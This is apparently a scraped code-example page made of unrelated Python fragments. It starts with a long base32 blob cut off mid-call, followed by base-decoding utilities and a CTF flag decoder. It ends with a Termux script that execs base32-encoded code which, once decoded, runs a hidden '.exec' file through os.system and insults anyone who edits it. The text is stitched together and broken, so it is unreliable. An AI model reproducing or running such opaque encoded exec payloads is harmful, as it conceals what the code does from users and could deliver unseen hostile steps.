IHPYSUYW6AJ4YVGAJD5R2FFGSCK7MO4RQ73LWUBOSU5ZDC3ASYNVC4QBLMH37EDHJ456AQQPLRELIKWQZPEBAEC5EDS3JUGZVIALNUGVKCQMXZ7KH3SOV4CUIQJNIJDULU6WP3FBGPUWT6V32B5YVBOVZSNHRQO4C36XUOBCU3TWPJ3HU3TQXBKZFKZ3UJJO57E5B25GVL76LL766PPSI6N5XB6EX6UKRVJ4T5CUMHVCFFE5T6PJVHZPZROLUSEV53E3ULOXQHQWCCH54WXX563LETGO7XT75OTDKHZXYVHG5G42VIV5NVM2NLXRRSSC3WYOY453IDYAECMZOPQRT6DY5PTIRFZHEGDDHEJVBFWVVFS4KILYRSCJKOK4TTDKLW27P2XKAIWTXJFLZTI3VUDIJSDIHJP3PTZPEOP5WJNQNCPDFKNKV37S7K2ANQUZBSDCL7MFNHIG232LLJ3GOPFMLGQHZOC6UAWCYUDIDYWIX4HHW4Y72IQNS2SDASQDU2PUYNX656UDBZX42LAESBIHZYHYIBWJRORSRYKYMJYRIJN5KE2A7I5IQNDNCBUNUIHF6YITEKTMJFFHSPWS2OC2EEGK5AFCTBTOKDBJRJMUOUL4JIBW7VFRUGSSDVQBW56QFN7NU3N74H54NXUI4MBKHUNFFLWSLDHHXMU62MIJKRZSAGECENISDMPUKBYRRRUWRT6XE3BY7V4PONJA4BY7VZMHXSEEAWIV4GWNYFFX3TA6QBI5TT2G5RA7QO2AK6O4YQJHOMUJQOPMMQPASZUOHCMUPA4ZUNHOMMOKHTHCQ4JCOR5XXSEXAAT326NNIER33BKZZC3O7DNZHLXREH764JMKIABAJW2PL4AMVPAMJQN2BRRRLOIVI2UWPMU5EOMRHUSFDXI4H7ISYMXFTGRCK5CBT5FBRKQ2WFKLROOJWX3FBUFO6XHNWOX74WSIVUXNNRHFYV5YXTR2CCK23BJLTZTN6XX5G5LW6SXC2IG3PCKA7V2KAPWR4YNRYSAGRHLU26NLAJ27T4X7QFNJH5OJSXOU3GESPFY47UDAXXIFY7AFQSA2NF3ACK7WL3WWE6UTNL7GTEMKYUYRO4YWADQXL432UVPDSFVFVPGGVRL6GJGVYCBFAINIFGQDWCH3RRLSQ6QVSAR4IFOV3QCD2BIURAWVHK632ZUCG4SBEMDDTQS4JPDHAWA5IBASVXOF4CPKWDUQ4CKLALZEGQ6UWCYYLTA6AGQLVKODID5JR635IOUJM4ERTBWWYSSGG4HHQVWOVGQXSO4UYRKDZF4MVFOCCLNGRJM3V2WIMJ4WUW2UQ7PEH36PSPVG545PVCBLMTZ3JDHABOF2ZUCDNGPNWRJ2ZIQKJOQ57WC76DT3X74URI6LJNBJWRUX74NWW5HZIGWNDZOTLCR4XR5RIYLZW4TTKTRA6KE6U4JP7BJZJMQF3IW4DYVPDXZJ3ZFSKRS4J4MHPGNDQWQJ6OO2BNTA74CE6ZAOHTRABMMXOCTNDF3SNGXZOUWDJTXHNMGTMHQJK7JRFVUTKCMZO4AJF7QWEQCCJFCLVVBMG7W4YUVCZAJUKCOVOFURMA4SXXELSOGMO3SPVLRFSJ6IYFFS4NSKWJY57FW3YAJGW5YGA36YHDYAG2MQD2YBVT3Z5FWRV2VESTWMEGG62AKFUXWXTUQRWGD44PXIR4N5Y65TVNDGLLG5ZD2E7QC2MXZGNY64BEHE7R33I46XVTCIFPH5A2FTH762VAEYGTTLUNTNYSITLIL2GRE2CLPFUMFQNLF3BFVLWZLJE6JQEQZZO5HUQZNJUHBD2PJFZJWRFITXFDNTR3AVPXFO4PTFT2V2AOLDWMX4JEFQ3K7EAYA6D6MLTYYVOQGYXDYEQ4CNRI4Q4JA4K6J44SCJAQW2WXCQ3QFARCRXHQYTAEIQCRNEAUCYTYMMRBM2BTMOA2KI4HRY6XZ5P6SWDPH5PBB42GZ4LRQBOPLAJPXAJQDZL2BV4IYB5XNUHAMT35WUMGPLBUQMUQ4E5FIJRDMDBTV6TRN733ELBEL2WHOOD2GFVFUL2OHFDKCLR4SLRH2ADWTFQ35T3AG5OFAFACQNTWSJFAUQBVOHJZBC6VCZ5NKS6DNFBOJC4UIOSYNNFUQW5R6OAQOSY7CASEDHEQ66W2QV7OOCCJK2WECVRPVULDU2OM7KFVSMKSW5PNNKNKG3KGVZ32QO2DQPLJPRGINVQDKBDX544XVRKWLPGQR5GHJQTB3VAOQIV3YTDUNIFNCLUXL2QJGPPH4SNVVABP4TRDLAB7QN6JUNTN4MOU2PHFGHITOJBEGFDHQMAFOZ4M3RFOAU5NTKGNY6R2QESBGELI4YOCY74DEFC4SCP4N3PWJFXTE576SDP7FDP72MNCPRZUQN6CXB23HPRJVWF2PDQYJFYSBZKSTFYKSTF2KZ3KBOHSCXBEENYJCLDJRPPHXIEMVN5GDPQ6DUW3JNSPP67IXYLC57OIPZL7JZFJ5QJS7W7MRTIRGGRBHUMJCYF4FEDMF2LSYLU7FQ72R3BJX7GUAXJFGA7KQYB4KRALVV6JM2YHNFWZZN6A5EMN2OWPDVHOBWPSNMM3L5FCNANEP6DMHUPWL6Y2SSDQ6KWQVCIKUWCJVWX374NHBEL2MDAQ7PSCIHUWJ3YDC6D2TMXP2FS5HULAIIUW7OYTBBU7UXT7RTGGBERT7TY4E7XCBXQWGAL5FXGPGB4YPWKESO2GLRHJHO6L7AYO6YQGYESVZ2ZFDE7NMXZLFHLF4I44NW36G7WBE7OZBUS64USWH3D4TRX2YD7QOKE5Y6OIER3SPVYU6OMMZS6Y2APMDPO46MH2C5WBQRVA6HXGTH4XJ6Y2MON2OQAUROMDEQSDBGLWREJFZIMUFLVG7HRUCQRHLO5SCYFK6PMDP42MDPM4FE4YABCV26MJ5PUIPKQCHBIJDQZ7RYCR67NSJP6J72FU7WOVU7D6Q5OFU7TRX54WN2WS4LJXS4RTG4T2G25WIWUDEDMX3F7G5LI5NNLHCMG3OC72VJSGTINDAYTIOZHMLWP22DFHN6BIE3N54WOJ2HLSDJKYOT5WSLPEHU3ELF3BJ2MWOVGTG2T5UHXJUMGGNKRMWOBXPHG2V443GE6V447R6TFNY43B6JGZIETLCT2UGR5D5SWFXLWW3PBJVHYZE5LONR5A7TVKIVF632EDPLAWPVODB4OCQ7NNWLNKXK7QGJP7MDZW5XNLKNOEMDIOTMSZI7HVSJUTJ6SEUHAGYK6RSBHO6NWRKX7VJW5KQP7ICZ4X5AH2POFPV3JI3QAKDB7D2MPCIQTEJ4QH47QNVZ2JZU2NLJK6LMR3LFO46XYW6WXXS5Q6HODGFCVLVIS36ERNSFOIZHC5S2ARQG7E6T7E5SD4PRHH6EO67JKBY4LVJL53DLJ7RAJPVBETGMPNX7S67ICTNDTR55WMYGDYC4TZAIKBZGN67L2DUF7IZTPZXOWXF7BSJFRNNRGUG3C5YBGQR75AFTTGQQBXKPFSNOXWKIKKNU3RB5WGIFM745VSYVAS4E2HZL66RSLOZ44BXIJJGJPWKM7T5YRMIXIHL3RCKYO4JWUEDDE3EEGSG2ZJ7MIARUOUGZOE2J23WUOQVJ3TCUAS7CNSCTVM62J6VAEVNHBDGF3QSA344XOPDCBAIKBGUCECGKUBLQPLOQOTRWDZ6GI64BGCILD3SSRUD45PWELVA7MRAASQS55MUBWRJK72DQBSQL3TXVREEK4MXBKJ5CVBEKHIUCKSOIZJZC5VIXCPCIYUP2NQ2ITYBCIMYRJBTNUQXSPOERQJBTQ5DDEE4PMQ3B2RTSGYMYGZBTCVYUQZXCSF6L6K4M4RUUAMQ3QFSLMLJE74VBTA3E63IEQZXDSH6L3TRQSI752EMDMQZRK4KIM3RZDPG4BFVC72FJZXMHLN4F3VWCUBV35ZBWHVY5R7O7XKJQO27ZHCWBV2MYUOHMXLR3D67LBZMB7IFK32CF3LRN5TVJ2MOY4UHI2XJOD255WHLB5T7HOZYMO3GVJRDBS6F4P3W7E5QT2BKLTNTOZ4TNMH3S7O3CWDFR6GV3PQ6HNOLEDC5UEOQGXNTCVYVQZPDWH57VAQWDX533EKYOW2ILXM7U7R3A25ZWR3D24KY7WIZBRSOZ5COBV2MYUOHMPLRLD6YSN3OYIBL3KCN6TDKAWK3S2JAL3EMCI6YPRVSG6PESL5TWCJB7ZXDCBWKMIUOJFPPRJDRNNCROK6SSJS6BLGZBZIGZH7755PV73CMKXHN5DVNIVTGUZ3PGWWE3TROXLV2XCKNIGYYXYZUOM3HU3OR7CYC3GMWXXA5465EMO5DBY35FNIFJZUFXEXLLLT5OHHU4JF45PXUZEA5XFOGVYLGPY7HR2KS2SS6FJPJXHRPC3FBLCUE4X47LKPJ5HMS4XG5KWK6TSV4UW4FPH4X4ZQSVLGMWBOC3TGON5FZ5XBSZSPWQLXDHPLHFEKQ357ZKHBILQVZ3BLGWVIFRMWSNZZKY2LNZVIXKR6WGTOV6P2VSMU6TETDFYG5I3V5A22BGMWHHJKVK5GVSVVXFQQAUGSY3CBMUNOVLKMD5Z3JEUCZT3PCWE4P32IS2AY32PNFZTF7FVGW5TWPN4LC62YVBUBXM7ENLFX4EJNAIB2X3UCVV377SJPHIFLKK5XMUNYX24LW5NU3BPBCK2OFNWXLIUKC6NCW3YAA4NBSQNX2NUR6XR2U3RYTA4VK7MK5CMMAZ2YUTNDYCNDYCLKI6RYCC6265773EL52J6THEJH7AI5DPVPPSXRBJNPGPK3QLXF2GZCM4CCHR4PIKWEKO2FSWOF75KRWNFJC6APOTQQ3SZEDP3ZM3TP5U7SQPTQLH3LAXWJQCWGMXNIEOVV4BBVCQ2HD5JJN6DFJ3FIGBGCOKL3IMDAU7EUZB6KPKZ4YTS6NRBMLETOZGLPNM5HHISRSDW6GSVAKZSWOUCPMOA4BRUTUHKFQT5XREHI4YTALOHQRD7MTFTPNXQACUYKOWMESKCV7JRDCOU7IBTE4KUKMUJRX5KW7CPTW72BA25FPQVYHGPU7YEPK2JW7OTLK2VNWJPXIWMFNXGU56OXDEQW5WRPXICJSFJ6DBKW4Q5BNYR55UXLOUBVG3O2N3EMKZETL6SDYQTXEAHTZLELVBKCS4YTODTKLCVTBZDJNDDHDGXGQIHNW4IICTOMXDIZTN2SGRRXGLTELZG5ZDD6SIEUECX7IJXKDHM2GLI6TZAFBOWK6NAL7EQUHIQHYXA2CCDYNU2BFZ5SJ4NUL6SFOOBNM2CL6R26KPHEZI3H4XPJDEXNHTJFCIBINB3O7YVYTTOPVP22WOMMY32H3EJNNKLKZENW6EK4HWDQLUET5P2O6O4VEVOVFOXC5MEZKP5L37V3N2YUWK3DL3WVUH5JVWJXDFXHFZNP2YB5O6VUMZUZKCE7RV44Y2OBWMKTXWSX62Q5ZEUDHZK3YVFAZ5NNBPUOSTBYSORGXTC55TDH5HDJJPMPQO6LVDXW7XI4CLSWK2VJVL7Q4D3SCFVXHN3RVYCEQSAHT54END45MLN5M6AUVKE3L2LL3CZY7UNCOR4PFCOW4VFNSGNF6OGFTY6EJ7OSRST7A4JTO2REHIWLVPYKBSXF6YAJTHX4YRFR2PZZULMVVB7KDPILNXVF5LHWY26EVKE3GC4MNMCTJ6V3BTUQ433T5CCJ4YS5Z6IVR74VS32LLPY5BWLE265EJXBRLVQ2TWRSY43555DFIYQY2J5TKJWM6OWR7HPAZPH7M42BDW54XTZYAYBUEWP45KPHKPWSZUHY4DTCO4XXTGMW2A2552PPILZHOLD436YWSKW7YGAZ44FXDPXNC7ABW4PXNU3UMXPZ372PP7MTE3SHIW7XHD7KGV7IH5ZZ457SKOJZUWOPKBV3GT6YTLO276GIAX232JPYDZA3UHSTUT265I74O3HN56QBX52NYAHOBEWOD3CSO7QU4YQZAPUEXRPVRG5BV62IC7NMD7PNNGNBKZIQS75MIVMHXRCYWRYIX6L2MXOVUEGV3225HL6Y3UA3YQ2D47Y5MGZM5FQZGBMIEZ7DNP2GHOCGQLBFAI722JVSCM4ZHFWRF5U4OP4MVLEEJH55CIBXFRI2KM6BDXTO76A624OHYB3PAX43IEOHSK54GX336WT47HT73KURH7KDTLHC5DK54QHN26L7XKQOS6KW4LZPRC32ONSXEQON7PFUXDWNKE36ZXVN2RZLHDL6JDUE6HUQQDHOBA252LWCTZDNXPCNCYCOKJ3MEK6VVVTJTC6XHCH7QWGFFEFGIYBNCQQ3TA6JWRIUA7OOOSPFK465JWL7BSTK7FYHCNA45N6KBYSAN74FOO33OXYJ7MGK2O73B4R7O3ZVKB3QUZC5M77R3U4ZC3NWNGGMX3F3W7G5TZ5OYPBLTW327NGSF7DYJV7HWLRTDWHSAP3TXOTSIPGLXLJ4ACJWX7K4L56GYTODPLSUR2YG4F6D45O66Q3TV3X2QPHLQ7TV5QOO7P6K4BOJ6C3T22APPH3XII73V4DPTDFGYEXBVWR6VLAZD4SD62OPPA37PIZY5YPCVDIEVMZTRQSKHPHLQJZFGFWSD6W466PXLBSDGMII7ZXUDLPSML5U466DUDMQTB5SPRKQMETR3Z26CGJNRNET73YPPH3VQZBTGGEOUTIOCR6T3JY54HIEZBXD7ET4SLDJQYDLO52EKIO23YKZFBHVL54YMQ5SHEP4SYQNF6LU7WLR4YOQNSHMPMSDYTMESHC5HHEKIMZNMF4TJ7MHD3Q5ATEF4PMSRYGJOR2WLGH3ZQJDTOFEPEBYLDCNF26MIURZW3ILZPX3NZ7EHIGZB6D3EUMB6L3X3NY7EHIEZB7D3EWOBQKFKL37A7ECR3SSB6KR3WVREFKVFFNNMPWH5WF5C5FGNTRHYB7AX7URSO5VX7K36CPEQRBXZVYE6MOMW5YJTT5XADYFYB2RODWCGHKY6ARYNZ63OCMUQ5Y7ODWGF4RN3K7UNQNGHN5CXXBABRIBWSMMGPMPE3DXMRBH3A6APGW5KCCXPV4IXNMOAC6REU7YIXGD4WPQIQGMXRPUWWJZ4T6ASJPBHPVGIX4BQD6RGUQX6HQBLNXX6A4CNRQ7EAYE74DYDHGH4DSDD6D2BV6YGOVET3EZ4GZR4SQW7UAQPHNQXLYI4MXE534HZ6G2XY3MWPS563FUIG3GLI4ULGQYILRG3NXT5V44LJRC3QBNCNZK2F6NZW3OIFLTQRTYIWTBV4WLLQ2IN4QUJHZ76WHZO4D4EVHLP73KVYGB5454X2BQ5U4Q2GQ3P6Y4ASU7PIREBZEBDIZUTIHPVNH3YQ37TE2OLX4BIDWTONA4EWX3VQ44T7ZS54G7IT73OMDYMO6NONIAPVUDCZ5W7GQ7U3QOW24C5SG3HPXXPY5NF54MBXTNXXUECIW6GXZYD4YPL6SYGJZ57KIARTWWWLHOBSSAE4X62ASXZEO7CX2P2ITIN4YMZBQN45GQJL2B3Z3A2W3Z4S77UCSDPSN2Z6FK5NQ7G6PUQUR4D5D5SNPQNS76K4V5TA3FPP7PCXRCGF5H4MURFUNURFUOB6Z5Q5PA4IZW7NKPXI53YUVKX5Y3U7CPLNABB7QCX6TMH3LKM6AO6JATP4STPQLWSDO55BBGPDMVEV7FASVG4M6GXAS7XNIAJXYOTAQLH5BWNPMOUEKIYBJUTHQTS23ACM7442JTYMDLR3CM6PJVDIQKH3BPQ7PQ3OS5OWOA3ITD774JA5N5GX57P326375WTLJWSUV34TAUNRLERBL777DQTIVPHTJ73DAUORHH7NE6EYVBMHW6HYYNCPQHWMJFVXPU62GK2U2EGREEL4DAI6QKNW3QPATHRL3V4TWRQZJD3M5HDTJSSHW3M2MUJ6WLXHHI74OOR7Y45D7RZ2H7DTUP6HHI74OOR7Y45D7RZ2H7DTUP6HHI7447ECRDYMIB3CL7V2WTHZKWN63ACHJMMFLG7NQDWQYUEKRCXNMAOFX4JARSF47TPSFXGPFBPEOOZ7ZX2DWN6LI3NCSVM35BK5ETNG4XTMZ4WA7Q5P2LDL2WRUL5WMWLHPRPHQRQ34WF64HPDPR2H7R3CEZQVWDSPA32YEXXZXZS33SEN72ETE7BJ7MGHGDPXM5S2DP2R7XJ6R5DPH7U4O52L66RXMP5TW2AH3O343I4NRPUSL67OWK4NP3LSG7FXTH2STBASG63AAOLGQ2LRH5RGFGGZSJ4FNVRUPXJQPFLYA6MRYT5OARPELGDTNWTBI4RO73KTRKKOPIX4UOXQEJBIH27CMWIV55DUIZKW3TK63PIJJM4XJ6GL7PPVMFJMHV6OD7U46GW2PCHMA7Z3U5MGLJSKY5IIBJV2RQCB6B5JO4NRQV5OK2ORFOQN2RYBPUCSIGG6O5GFRE76HXNM2KDCNGH47OFXLOKU7SC3LCIAMP7RY5G6ZVERTI4TXI4RP7T3LWHMMH7PLWVEXB3VGBXRPZHQO56AO24I6GHTUOC72ZZ2Z5T6S7FD472GZF5E6PNDQ5XKTNP27B65IKHKDUKYE4KIZEZUL6XOWUVJUJQGT7ISRSMWRI2Z6R7GB54H2VXMVVJGEJJC3BDPXJWFQGXQJVHBJ7T4SUH33XJU4R5MNBWOFRUGTYGNYWEY353BVTZ22KFA5G7ZL4GBL2HTVQSA7DJ25S4KHWZ3KVWVG6TVW42M3XZTQWLCICKJ4VFCUDMLQZJAIKEM34LGA4OLMQ4VV3WVK3VKNANLTEUDPUJXBQVL6IQESLWIKQX3SRPCN4EOQVL2R7ATIL57ZS5S7OYF5KE27Q4OOVUOUHW2SDNPINO2UVPBWK7RW2T7VJQRA6M7S2NGR7BPG76SAEF66QUWFUOQDM7V6ZRJG2RO5S2AWYVO7GLYFS2OYN2NPJTIJXC5AC6BJKV24GNBWBWNZ7UT2LWXMFBMBQ3V6VNVJLI5VIYAD4UJOC4P3YGBRLCK7LHQ2QAGR6QES4ROZAFWIDALIVUU7LO5U6FXQQEYUWZZSMTBWNXXFLRTR77ANYVPZ5SCJYR27RDSGZ45SLNRFHXVKKBP7D3VTBDIE3ZYLKA2C74IZRJ2E7GXC5CG6TOCEUYHR5UNXO3UMWKPUIUED4M7CVON6T5OC6T3FW7VGRVHMNIODTBTCLER5YSQQ4K5CQACVNDHEMQVPEWWNKB3KX2QV6IASGNN7EH2CKQ67TJEBYR6BAXNBY7RDWJP6A77T6TGUR6CNEDT6PYH7BFQSBEMH6KM7JAEQYVMCFE6KUQZ5STCPM4RNIXRS2OORTSAMYGK55TDQ4Z6GMFGLIDWG7WCI435ZT74QZFTTEONBJP4H6HL3CA2A===="
            ))))
コード例 #57
0
ファイル: xunhuanbase.py プロジェクト: bufsnake/Common-script
p = raw_input("input string to decode:")

while True:
    # Base16
    try:
        print "[?] using base16 deocde"
        n = base64.b16decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    # Base32
    try:
        print "[?] using base32 deocde"
        n = base64.b32decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    # Base64
    try:
        print "[?] using base64 deocde"
        n = base64.b64decode(p)
        print "[+] %s" % (n)
        p = n
        continue
    except:
        pass
    break
コード例 #58
0
def parse_b32_key(key):
    key = key.upper().replace(' ', '')
    key += '=' * (-len(key) % 8)  # Support unpadded
    return b32decode(key)
コード例 #59
0
ファイル: solution.py プロジェクト: 1anqing/ctf
#!/usr/bin/env python3
import base64

secretStr = "GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI==="
result = base64.b32decode(secretStr)
flagList = [
    int(result[2 * i:2 * i + 2], 16) for i in range(int(len(result) / 2))
]
flag = ''.join([chr(i) for i in flagList])
print(flag)
コード例 #60
0
ファイル: exec.py プロジェクト: RSPLOIT-ID/Termux-Cursor
# Mau Source Code ?
# Subscribe Channel Youtube Dan Follow Github Gua Dulu Dong Slur !!!
# Github  :  https://github.com/RSPLOIT-ID
# Youtube :  Rsploit Official
# Udah Langsung Inbox Gua Di > 082259177732

import base64
exec(
    base64.b32decode(
        "EMQEQYLZPF2SATLBOUQE4Z3FOJSWG33EMUQFSYJAH4FCGICUOVVWC3THEBJGKY3PMRSSAS3PNZ2G63BMEBCWY5JAIVSGS5BAJZUSARTJNRSSATLBNVYG64ZAJR2QUIZAJVQXI2JAJRXSAQLONJUW4ZZAEEQSCIBKL4VAUCTJNVYG64TUEBXXGCTPOMXHG6LTORSW2KBCOB4XI2DPNYZCALTFPBSWGIRJBI======"
    ))